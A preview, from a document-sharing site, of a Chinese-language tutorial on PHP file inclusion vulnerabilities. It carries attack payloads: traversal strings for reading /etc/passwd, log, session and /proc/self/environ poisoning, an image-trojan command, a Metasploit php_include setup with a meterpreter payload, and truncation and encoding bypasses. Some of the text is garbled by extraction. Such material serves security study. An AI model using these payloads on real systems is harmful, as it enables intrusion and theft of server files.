PHP文件包含漏洞的形式总结

上传人:m**** 文档编号:79786761 上传时间:2019-02-18 格式:DOCX 页数:23 大小:980.21KB
返回 下载 相关 举报
PHP文件包含漏洞的形式总结_第1页
第1页 / 共23页
PHP文件包含漏洞的形式总结_第2页
第2页 / 共23页
PHP文件包含漏洞的形式总结_第3页
第3页 / 共23页
PHP文件包含漏洞的形式总结_第4页
第4页 / 共23页
PHP文件包含漏洞的形式总结_第5页
第5页 / 共23页
点击查看更多>>
资源描述

《PHP文件包含漏洞的形式总结》由会员分享,可在线阅读,更多相关《PHP文件包含漏洞的形式总结(23页珍藏版)》请在金锄头文库上搜索。

1、PHP文件包含漏洞的形式总结原理文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php 中引发文件包含漏洞的通常是以下四个函数:1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止

2、脚本的运行4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。利用条件(1) include 等函数通过动态执行变量的方式引入需要包含的文件;(2)用户能控制该动态变量。分类文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中

3、是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。1、本地文件包含 LFI(Local File Include)2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。一、本地包含包含同目录下的文件1?file=test.txt目录遍历:1?file=./././test.txt./ 当

4、前目录 ./ 上一级目录,这样的遍历目录来读取文件包含图片木马命令行下执行:1copy x.jpg /b + s.php /b f.jpg上传 f.jpg、找到 f.jpg 路径、包含 f.jpg包含日志利用条件:需要知道服务器日志的存储路径,且日志文件可读。很多时候,web 服务器会将请求写入到日志文件中,比如说 apache。在用户发起请求时,会将请求写入 access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。1?file=./././././././././var/log/apache/error.log1、提交

5、如下请求,将 payload 插入日志2、可以尝试利用 UA 插入 payload 到日志文件3、MSF 攻击模块12345678use exploit/unix/webapp/php_includeset rhost 192.168.159.128set rport 80set phpuri /index.php?file=xxLFIxxset path http:/172.18.176.147/set payload php/meterpreter/bind_tcpset srvport 8888exploit -z日志默认路径apache+Linux 日志默认路径1/etc/httpd/

6、logs/access_log或者1/var/log/httpd/access logapache+win2003 日志默认路径12D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.logIIS6.0+win2003 默认日志文件1C:/WINDOWS/system32/LogfilesIIS7.0+win2003 默认日志文件1%SystemDrive%/inetpub/logs/LogFilesnginx 日志文件在用户安装目录的 logs 目录下如安装目录为 /usr/local/nginx,则日志目录就是在1/usr/l

7、ocal/nginx/logs也可通过其配置文件 Nginx.conf,获取到日志的存在路径1/opt/nginx/logs/access.logweb 中间件默认配置apache+linux 默认配置文件1/etc/httpd/conf/httpd.conf或者1index.php?page=/etc/init.d/httpdIIS6.0+win2003 配置文件1C:/Windows/system32/inetsrv/metabase.xmlIIS7.0+WIN 配置文件1C:/Windows/System32/inetsrv/config/application/Host.config包

8、含 session利用条件:session 文件路径已知,且其中内容部分可控。PHP 默认生成的 Session 文件往往存放在 /tmp 目录下1/tmp/sess_SESSIONID1?file=././././././tmp/sess_tnrdo9ub2tsdurntv0pdir1no7session 文件一般在 /tmp 目录下,格式为 sess_your phpsessid value,有时候也有可能在 /var/lib/php5 之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制 session 的值,也许你能够获得一个 shell包含 /proc/self/en

9、viron 文件利用条件:1、php 以 cgi 方式运行,这样 environ 才会保持 UA 头。2、environ 文件存储位置已知,且 environ 文件可读。姿势:proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可。1?file=./././././././proc/self/environ选择 User-Agent 写代码如下:1然后提交请求。包含临时文件php 中上传文件,会创建临时文件。在 linux 下使用 /tmp 目录,而在 win

10、dows 下使用 c:winsdowstemp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux 下使用的随机函数有缺陷,而 window 下只有 65535 中不同的文件名,所以这个方法是可行的。另一种方法 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell。有防御的本地文件包含审计中可见这样的包含模版文件:1234 http:/这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。1、%00 截断能利用 00 截断的场景现在应

11、该很少了PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。1?file=./././././././././etc/passwd%00需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效2、%00 截断目录遍历:1?file=./././././././././var/www/%00需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,Net

12、BSD,Solaris3、路径长度截断:1?file=./././././././././etc/passwd/././././././././././././.php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。我们知道目录字符串,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 ./ 的方式即可构造出超长目录字符串:4、点号截断:1?file=./././././././././boot.in

13、i/php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 2565、编码绕过服务器端常常会对于 ./ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自白帽子讲 Web 安全。利用 url 编码:1./ - %2e%2e%2f - .%2f - %2e%2e/1. - %2e%2e%5c - .%5c - %2e%2e二次编码:1./ - %252e%252e%252f1. - %252e%252e%255c二、远程文件包含1?file=http|https|ftp:/ http:/攻击者可以构造类似如下的攻击 URL123path=http:/localhost/test/solution.php? = path=http:/localhost/test/solution.php%23产生的原理:1/?path=http:/localhost/test/solution.php?最终目标应用程序代码实际上执行了:12require_oncehttp:/localhost/test/solution.php?/action/m_share.php;注意,这里很巧妙,问号 ? 后面的代码被解释成 URL 的 querystring,这也是一种截断思想,和 %00 一样攻击者可以在 http

展开阅读全文
相关资源
相关搜索

当前位置:首页 > IT计算机/网络 > PHP资料

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号